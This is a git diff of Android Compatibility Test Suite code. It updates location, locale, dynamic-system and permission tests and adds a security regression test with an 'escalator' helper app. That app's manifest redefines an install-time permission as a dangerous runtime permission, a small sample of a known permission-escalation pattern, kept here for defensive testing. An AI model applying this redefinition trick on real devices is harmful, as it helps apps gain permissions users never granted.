--- a/tests/tests/os/src/android/os/cts/LocaleListTest.java
+++ b/tests/tests/os/src/android/os/cts/LocaleListTest.java
@@ -93,13 +93,9 @@
 
     public void testRepeatedArguments() {
         final Locale[] la = {Locale.US, Locale.US};
-        LocaleList ll = null;
-        try {
-            ll = new LocaleList(la);
-            fail("Initializing a LocaleList with an array containing duplicates should throw.");
-        } catch (Throwable e) {
-            assertEquals(IllegalArgumentException.class, e.getClass());
-        }
+        LocaleList ll = new LocaleList(la);
+        assertEquals(1, ll.size());
+        assertEquals(Locale.US, ll.get(0));
     }
 
     public void testIndexOf() {
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index 21a2908..6c683c9 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -21,9 +21,7 @@
 
 import android.app.Instrumentation;
 import android.net.Uri;
-import android.os.SystemProperties;
 import android.os.image.DynamicSystemClient;
-import android.util.FeatureFlagUtils;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -50,16 +48,8 @@
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
     }
 
-    private boolean featureFlagEnabled() {
-        return SystemProperties.getBoolean(
-                FeatureFlagUtils.PERSIST_PREFIX + FeatureFlagUtils.DYNAMIC_SYSTEM, false);
-    }
-
     @Test
     public void testDynamicSystemClient() {
-        if (!featureFlagEnabled()) {
-            return;
-        }
         DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
         dSClient.setOnStatusChangedListener(this);
         try {
@@ -87,6 +77,32 @@
         }
     }
 
+    @Test
+    public void testDynamicSystemClient_withoutOnStatusChangedListener() {
+        DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
+        try {
+            dSClient.bind();
+        } catch (SecurityException e) {
+            fail();
+        }
+        Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
+        try {
+            dSClient.start(uri, 1024L << 10);
+        } catch (SecurityException e) {
+            fail();
+        }
+        try {
+            Thread.sleep(3 * 1000);
+        } catch (InterruptedException e) {
+            fail();
+        }
+        try {
+            dSClient.unbind();
+        } catch (SecurityException e) {
+            fail();
+        }
+    }
+
     @After
     public void tearDown() {
         mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index a99565e..7c8c56b 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -20,6 +20,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index a49ca3a..ef2a09f 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -61,8 +61,9 @@
         <option name="push" value="CtsVictimPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsVictimPermissionDefinerApp.apk" />
         <option name="push" value="CtsRuntimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionDefinerApp.apk" />
         <option name="push" value="CtsRuntimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsRuntimePermissionUserApp.apk" />
-        <option name="push" value="CtsInstalltimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionDefinerApp.apk" />
-        <option name="push" value="CtsInstalltimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionUserApp.apk" />
+        <option name="push" value="CtsInstallPermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionDefinerApp.apk" />
+        <option name="push" value="CtsInstallPermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionUserApp.apk" />
+        <option name="push" value="CtsInstallPermissionEscalatorApp.apk->/data/local/tmp/cts/permissions/CtsInstallPermissionEscalatorApp.apk" />
         <option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
         <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
     </target_preparer>
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index 4e1272a..9aa6735 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -22,6 +22,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
index 56a8000..1dec34f 100644
--- a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
index fc424ea..5e5a1c7 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandB/Android.bp
@@ -22,6 +22,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
index d38374f..d6cff70 100644
--- a/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
+++ b/tests/tests/permission/AppThatRequestPermissionAandC/Android.bp
@@ -22,6 +22,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     srcs: ["src/**/*.java"],
 }
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 53b7d18..1a9c8dc 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -74,6 +74,8 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ProtoUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
 
@@ -111,6 +113,7 @@
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
     private static final long LOCATION_ACCESS_TIMEOUT_MILLIS = 15000;
+    private static final long LOCATION_ACCESS_JOB_WAIT_MILLIS = 250;
 
     // Same as in AccessLocationOnCommand
     private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
@@ -133,6 +136,11 @@
     private static ServiceConnection sConnection;
     private static IAccessLocationOnCommand sLocationAccessor;
 
+    private static void assumeNotPlayManaged() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+                sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
+    }
+
     /**
      * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
      */
@@ -270,13 +278,14 @@
                 + BACKGROUND_ACCESS_SETTLE_TIME;
         while (true) {
             runLocationCheck();
+            Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
 
             StatusBarNotification notification = getPermissionControllerNotification();
             if (notification == null) {
                 // Sometimes getting a location takes some time, hence not getting a notification
                 // can be caused by not having gotten a location yet
                 if (SystemClock.elapsedRealtime() - start < timeout) {
-                    Thread.sleep(200);
+                    Thread.sleep(LOCATION_ACCESS_JOB_WAIT_MILLIS);
                     continue;
                 }
 
@@ -571,6 +580,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownOnlyOnce() throws Throwable {
+        assumeNotPlayManaged();
         accessLocation();
         getNotification(true);
 
@@ -580,6 +590,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationIsShownAgainAfterClear() throws Throwable {
+        assumeNotPlayManaged();
         accessLocation();
         getNotification(true);
 
@@ -617,6 +628,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
+        assumeNotPlayManaged();
         accessLocation();
         getNotification(false);
 
@@ -657,6 +669,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfFeatureDisabled() throws Throwable {
+        assumeNotPlayManaged();
         disableLocationAccessCheck();
         accessLocation();
         assertNull(getNotification(true));
@@ -665,7 +678,9 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
+        assumeNotPlayManaged();
         // Disable the feature and access location in disabled state
+        getNotification(true, true);
         disableLocationAccessCheck();
         accessLocation();
         assertNull(getNotification(true));
@@ -682,6 +697,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+        assumeNotPlayManaged();
         getNotification(true);
         // Blame the app for access from an untrusted for notification purposes package.
         runWithShellPermissionIdentity(() -> {
@@ -695,6 +711,7 @@
     @Test
     @SecurityTest(minPatchLevel = "2019-12-01")
     public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
+        assumeNotPlayManaged();
         Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         sContext.startActivity(intent);
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 466fb7f..57e8755 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -35,6 +35,7 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
@@ -52,17 +53,19 @@
             APP_PKG_NAME_BASE + ".runtimepermissionuserapp";
     private static final String RUNTIME_PERMISSION_DEFINER_PKG_NAME =
             APP_PKG_NAME_BASE + ".runtimepermissiondefinerapp";
-    private static final String INSTALLTIME_PERMISSION_USER_PKG_NAME =
-            APP_PKG_NAME_BASE + ".installtimepermissionuserapp";
-    private static final String INSTALLTIME_PERMISSION_DEFINER_PKG_NAME =
-            APP_PKG_NAME_BASE + ".installtimepermissiondefinerapp";
+    private static final String INSTALL_PERMISSION_USER_PKG_NAME =
+            APP_PKG_NAME_BASE + ".installpermissionuserapp";
+    private static final String INSTALL_PERMISSION_DEFINER_PKG_NAME =
+            APP_PKG_NAME_BASE + ".installpermissiondefinerapp";
+    private static final String INSTALL_PERMISSION_ESCALATOR_PKG_NAME =
+            APP_PKG_NAME_BASE + ".installpermissionescalatorapp";
 
     private static final String TEST_PERMISSION =
             "android.permission.cts.revokepermissionwhenremoved.TestPermission";
     private static final String TEST_RUNTIME_PERMISSION =
             APP_PKG_NAME_BASE + ".TestRuntimePermission";
-    private static final String TEST_INSTALLTIME_PERMISSION =
-            APP_PKG_NAME_BASE + ".TestInstalltimePermission";
+    private static final String TEST_INSTALL_PERMISSION =
+            APP_PKG_NAME_BASE + ".TestInstallPermission";
 
     private static final String ADVERSARIAL_PERMISSION_DEFINER_APK_NAME =
             "CtsAdversarialPermissionDefinerApp";
@@ -74,14 +77,15 @@
             "CtsRuntimePermissionDefinerApp";
     private static final String RUNTIME_PERMISSION_USER_APK_NAME =
             "CtsRuntimePermissionUserApp";
-    private static final String INSTALLTIME_PERMISSION_DEFINER_APK_NAME =
-            "CtsInstalltimePermissionDefinerApp";
-    private static final String INSTALLTIME_PERMISSION_USER_APK_NAME =
-            "CtsInstalltimePermissionUserApp";
+    private static final String INSTALL_PERMISSION_DEFINER_APK_NAME =
+            "CtsInstallPermissionDefinerApp";
+    private static final String INSTALL_PERMISSION_USER_APK_NAME =
+            "CtsInstallPermissionUserApp";
+    private static final String INSTALL_PERMISSION_ESCALATOR_APK_NAME =
+            "CtsInstallPermissionEscalatorApp";
 
     private Context mContext;
     private Instrumentation mInstrumentation;
-    private Object mMySync = new Object();
 
     @Before
     public void setContextAndInstrumentation() {
@@ -94,6 +98,19 @@
         SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
     }
 
+    @After
+    public void cleanUpTestApps() throws Exception {
+        uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME, true);
+        uninstallApp(VICTIM_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME, true);
+        uninstallApp(INSTALL_PERMISSION_USER_PKG_NAME, true);
+        uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME, true);
+        uninstallApp(INSTALL_PERMISSION_ESCALATOR_PKG_NAME, true);
+        Thread.sleep(5000);
+    }
+
     private boolean permissionGranted(String pkgName, String permName)
             throws PackageManager.NameNotFoundException {
         PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(pkgName,
@@ -112,19 +129,20 @@
     private void installApp(String apk) throws InterruptedException {
         String installResult = SystemUtil.runShellCommand(
                 "pm install -r -d data/local/tmp/cts/permissions/" + apk + ".apk");
-        synchronized (mMySync) {
-            mMySync.wait(10000);
-        }
         assertEquals("Success", installResult.trim());
+        Thread.sleep(5000);
     }
 
     private void uninstallApp(String pkg) throws InterruptedException {
-        String uninstallResult = SystemUtil.runShellCommand(
-                "pm uninstall " + pkg);
-        synchronized (mMySync) {
-            mMySync.wait(10000);
+        uninstallApp(pkg, false);
+    }
+
+    private void uninstallApp(String pkg, boolean cleanUp) throws InterruptedException {
+        String uninstallResult = SystemUtil.runShellCommand("pm uninstall " + pkg);
+        if (!cleanUp) {
+            assertEquals("Success", uninstallResult.trim());
+            Thread.sleep(5000);
         }
-        assertEquals("Success", uninstallResult.trim());
     }
 
     private void grantPermission(String pkg, String permission) {
@@ -134,7 +152,7 @@
 
     @SecurityTest
     @Test
-    public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+    public void runtimePermissionShouldBeRevokedIfRemoved() throws Throwable {
         installApp(ADVERSARIAL_PERMISSION_DEFINER_APK_NAME);
         installApp(ADVERSARIAL_PERMISSION_USER_APK_NAME);
 
@@ -146,12 +164,10 @@
         uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME);
         installApp(VICTIM_PERMISSION_DEFINER_APK_NAME);
         assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
-        uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME);
-        uninstallApp(VICTIM_PERMISSION_DEFINER_PKG_NAME);
     }
 
     @Test
-    public void permissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+    public void runtimePermissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
         installApp(RUNTIME_PERMISSION_DEFINER_APK_NAME);
         installApp(RUNTIME_PERMISSION_USER_APK_NAME);
 
@@ -162,8 +178,6 @@
         // operation
         installApp(RUNTIME_PERMISSION_DEFINER_APK_NAME);
         assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
-        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME);
-        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME);
     }
 
     @Test
@@ -183,26 +197,46 @@
         // Now uninstall the permission definer; the user packages' permission should be revoked
         uninstallApp(ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME);
         assertFalse(permissionGranted(ADVERSARIAL_PERMISSION_USER_PKG_NAME, TEST_PERMISSION));
+    }
 
-        uninstallApp(ADVERSARIAL_PERMISSION_USER_PKG_NAME);
+    @SecurityTest
+    @Test
+    public void installPermissionShouldBeRevokedIfRemoved() throws Throwable {
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+        // Uninstall the app which defines the install permission, and install another app
+        // redefining it as a runtime permission.
+        uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME);
+        installApp(INSTALL_PERMISSION_ESCALATOR_APK_NAME);
+        assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
     }
 
     @Test
-    public void installtimePermissionDependencyTest() throws Throwable {
-        installApp(INSTALLTIME_PERMISSION_USER_APK_NAME);
-        // Should not have the permission auto-granted
-        assertFalse(permissionGranted(
-                INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
-        // Now install the permission definer; user package should have the permission auto granted
-        installApp(INSTALLTIME_PERMISSION_DEFINER_APK_NAME);
-        installApp(INSTALLTIME_PERMISSION_USER_APK_NAME);
-        assertTrue(permissionGranted(
-                INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
-        // Now uninstall the permission definer; the user packages' permission will not be revoked
-        uninstallApp(INSTALLTIME_PERMISSION_DEFINER_PKG_NAME);
-        assertTrue(permissionGranted(
-                INSTALLTIME_PERMISSION_USER_PKG_NAME, TEST_INSTALLTIME_PERMISSION));
+    public void installPermissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
 
-        uninstallApp(INSTALLTIME_PERMISSION_USER_PKG_NAME);
+        // Install the app which defines the install permission again, similar to updating the app.
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+    }
+
+    @Test
+    public void installPermissionDependencyTest() throws Throwable {
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        // Should not have the permission auto-granted
+        assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+        // Now install the permission definer; user package should have the permission auto granted
+        installApp(INSTALL_PERMISSION_DEFINER_APK_NAME);
+        installApp(INSTALL_PERMISSION_USER_APK_NAME);
+        assertTrue(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
+
+        // Now uninstall the permission definer; the user package's permission should be revoked
+        uninstallApp(INSTALL_PERMISSION_DEFINER_PKG_NAME);
+        assertFalse(permissionGranted(INSTALL_PERMISSION_USER_PKG_NAME, TEST_INSTALL_PERMISSION));
     }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index ba9212b..d293c70 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -25,6 +25,7 @@
 import android.os.Process
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObject2
 import android.support.test.uiautomator.UiObjectNotFoundException
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.SystemUtil
@@ -34,6 +35,7 @@
 import org.junit.Assert
 import org.junit.Before
 import org.junit.Test
+import java.util.regex.Pattern
 
 /**
  * Tests that the permissioncontroller behaves normally when an app defines a permission in the
@@ -44,11 +46,12 @@
     private var mUiDevice: UiDevice? = null
     private var mContext: Context? = null
     private var mPm: PackageManager? = null
+    private var mAllowButtonText: Pattern? = null
 
     @Before
     fun install() {
         SystemUtil.runShellCommand("pm install -r " +
-                "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+                TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK)
     }
 
     @Before
@@ -57,6 +60,14 @@
         mUiDevice = UiDevice.getInstance(mInstrumentation)
         mContext = mInstrumentation?.targetContext
         mPm = mContext?.packageManager
+        val permissionControllerResources = mContext?.createPackageContext(
+                mContext?.packageManager?.permissionControllerPackageName, 0)?.resources
+        mAllowButtonText = Pattern.compile(
+                Pattern.quote(requireNotNull(permissionControllerResources?.getString(
+                        permissionControllerResources.getIdentifier(
+                                "grant_dialog_button_allow", "string",
+                                "com.android.permissioncontroller")))),
+                Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
     }
 
     @Before
@@ -94,9 +105,7 @@
         eventually {
             startRequestActivity(arrayOf(TEST))
             mUiDevice!!.waitForIdle()
-            waitFindObject(By.res(
-                    "com.android.permissioncontroller:id/permission_allow_button"),
-                    100).click()
+            findAllowButton().click()
         }
         eventually {
             Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
@@ -113,6 +122,17 @@
         SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
     }
 
+    fun findAllowButton(): UiObject2 {
+        return if (mContext?.packageManager
+                        ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+            waitFindObject(By.text(mAllowButtonText), 100)
+        } else {
+            waitFindObject(By.res(
+                    "com.android.permissioncontroller:id/permission_allow_button"),
+                    100)
+        }
+    }
+
     /**
      * If app has one permission granted, then it can't grant itself another permission for free.
      */
@@ -131,7 +151,12 @@
             startRequestActivity(arrayOf(targetPermission))
             mUiDevice!!.waitForIdle()
             try {
-                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+                if (mContext?.packageManager
+                                ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
+                    findAllowButton()
+                } else {
+                    waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+                }
             } catch (e: UiObjectNotFoundException) {
                 Assert.assertEquals("grant dialog never showed.",
                         mPm!!.checkPermission(targetPermission,
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index 8c5ae37..cfb2836 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -21,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 548a494..6915076 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -21,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
similarity index 94%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index ee87737..857e429 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -14,7 +14,7 @@
 //
 
 android_test_helper_app {
-    name: "CtsInstalltimePermissionDefinerApp",
+    name: "CtsInstallPermissionDefinerApp",
     defaults: ["cts_defaults"],
     sdk_version: "current",
     // Tag this module as a cts test artifact
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
similarity index 72%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
index 7a0e405..2df6743 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/AndroidManifest.xml
@@ -15,11 +15,13 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.revokepermissionwhenremoved.installtimepermissionuserapp">
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.installpermissiondefinerapp">
 
-    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestInstalltimePermission" />
+    <permission
+        android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
+        android:protectionLevel="normal" />
 
-    <application>
-    </application>
+    <application />
 </manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
similarity index 92%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index ee87737..3f560de 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -14,12 +14,13 @@
 //
 
 android_test_helper_app {
-    name: "CtsInstalltimePermissionDefinerApp",
+    name: "CtsInstallPermissionEscalatorApp",
     defaults: ["cts_defaults"],
     sdk_version: "current",
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "vts10",
         "general-tests",
     ],
     certificate: ":cts-testkey1",
diff --git a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
similarity index 62%
copy from hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
index f40d070..c339d12 100644
--- a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/AndroidManifest.xml
@@ -15,8 +15,14 @@
   ~ limitations under the License.
   -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.device.statsd.emptyapp">
-    <application android:hasCode="false" android:label="Empty Test App" />
-</manifest>
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.installpermissionescalatorrapp">
 
+    <permission
+        android:name="android.permission.cts.revokepermissionwhenremoved.TestInstallPermission"
+        android:permissionGroup="android.permission-group.PHONE"
+        android:protectionLevel="dangerous" />
+
+    <application />
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
similarity index 94%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index f720d7d..40343be 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -14,7 +14,7 @@
 //
 
 android_test_helper_app {
-    name: "CtsInstalltimePermissionUserApp",
+    name: "CtsInstallPermissionUserApp",
     defaults: ["cts_defaults"],
     sdk_version: "current",
     // Tag this module as a cts test artifact
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/AndroidManifest.xml
similarity index 80%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/AndroidManifest.xml
